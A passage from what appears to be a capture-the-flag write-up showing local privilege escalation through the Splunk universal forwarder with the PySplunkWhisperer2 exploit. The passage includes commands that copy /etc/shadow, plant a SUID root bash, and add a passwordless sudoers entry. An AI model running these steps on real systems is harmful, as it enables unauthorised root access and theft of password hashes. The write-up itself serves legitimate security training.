+    print("Got a problem: " + str(req.status_code))
+    print("")
+    print(req.text)
+print("[+] App installed, your code should be running now!")

-print "\nPress RETURN to cleanup"
-raw_input()
+print("\nPress RETURN to cleanup")
+input()
 os.remove(BUNDLE_FILE)

-print "[.] Removing app..."
+print("[.] Removing app...")
 req = s.delete(SPLUNK_BASE_API + SPLUNK_APP_NAME)
 if req.status_code != 200 and req.status_code != 201:
-    print "Got a problem: " + str(req.status_code)
-    print ""
-    print req.text
-print "[+] App removed"
+    print("Got a problem: " + str(req.status_code))
+    print("")
+    print(req.text)
+print("[+] App removed")

-print "\nPress RETURN to exit"
-raw_input()
-print "Bye!"
+print("\nPress RETURN to exit")
+input()
+print("Bye!")
RefactoringTool: Files that were modified:
RefactoringTool: PySplunkWhisperer2_local.py

shaun@doctor:/tmp$ ./PySplunkWhisperer2_local.py -h
usage: PySplunkWhisperer2_local.py [-h] [--scheme SCHEME] [--port PORT] [--username USERNAME] [--password PASSWORD] [--payload PAYLOAD]
                                   [--payload-file PAYLOAD_FILE]

optional arguments:
  -h, --help            show this help message and exit
  --scheme SCHEME
  --port PORT
  --username USERNAME
  --password PASSWORD
  --payload PAYLOAD
  --payload-file PAYLOAD_FILE

Let’s try running a simple id command to see if it works.

shaun@doctor:/tmp$ ./PySplunkWhisperer2_local.py --username shaun --password Guitar123 --payload id
Running in local mode (Local Privilege Escalation)
[.] Authenticating...
[+] Authenticated
[.] Creating malicious app bundle...
[+] Created malicious app bundle in: /tmp/tmpo6n6fu40.tar
[.] Installing app from: /tmp/tmpo6n6fu40.tar
[+] App installed, your code should be running now!

Press RETURN to cleanup

[.] Removing app...
[+] App removed

Press RETURN to exit

Bye!

There wasn’t any output so we have to run another command that does something we can verify visibly. I tried this and was able to copy /etc/shadow and to /tmp and make it readable.

shaun@doctor:/tmp$ ./PySplunkWhisperer2_local.py --username shaun --password Guitar123 --payload 'cp /etc/shadow /tmp/shadow; chmod a+rw /tmp/shadow'
Running in local mode (Local Privilege Escalation)
[.] Authenticating...
[+] Authenticated
[.] Creating malicious app bundle...
[+] Created malicious app bundle in: /tmp/tmphtdwsebs.tar
[.] Installing app from: /tmp/tmphtdwsebs.tar
[+] App installed, your code should be running now!

Press RETURN to cleanup

[.] Removing app...
[+] App removed

Press RETURN to exit

Bye!

With this in mind we can just copy /bin/bash over to /tmp, chown root and make it SUID.

shaun@doctor:/tmp$ cp /bin/bash .
shaun@doctor:/tmp$ ./PySplunkWhisperer2_local.py --username shaun --password Guitar123 --payload 'chown root /tmp/bash ; chmod 4755 /tmp/bash'
Running in local mode (Local Privilege Escalation)
[.] Authenticating...
[+] Authenticated
[.] Creating malicious app bundle...
[+] Created malicious app bundle in: /tmp/tmp7cpsg2v8.tar
[.] Installing app from: /tmp/tmp7cpsg2v8.tar
[+] App installed, your code should be running now!

Press RETURN to cleanup

[.] Removing app...
[+] App removed

Press RETURN to exit

Bye!
shaun@doctor:/tmp$ ls -lah /tmp/bash
-rwsr-xr-x 1 root shaun 1,2M Nov 27 12:44 /tmp/bash
shaun@doctor:/tmp$ ./bash -p
bash-5.0# id
uid=1002(shaun) gid=1002(shaun) euid=0(root) groups=1002(shaun)

To get a root shell we can run visudo and add

shaun ALL=(ALL) NOPASSWD:ALL

and become root easily.

bash-5.0# sudo su -
root@doctor:~# id
uid=0(root) gid=0(root) groups=0(root)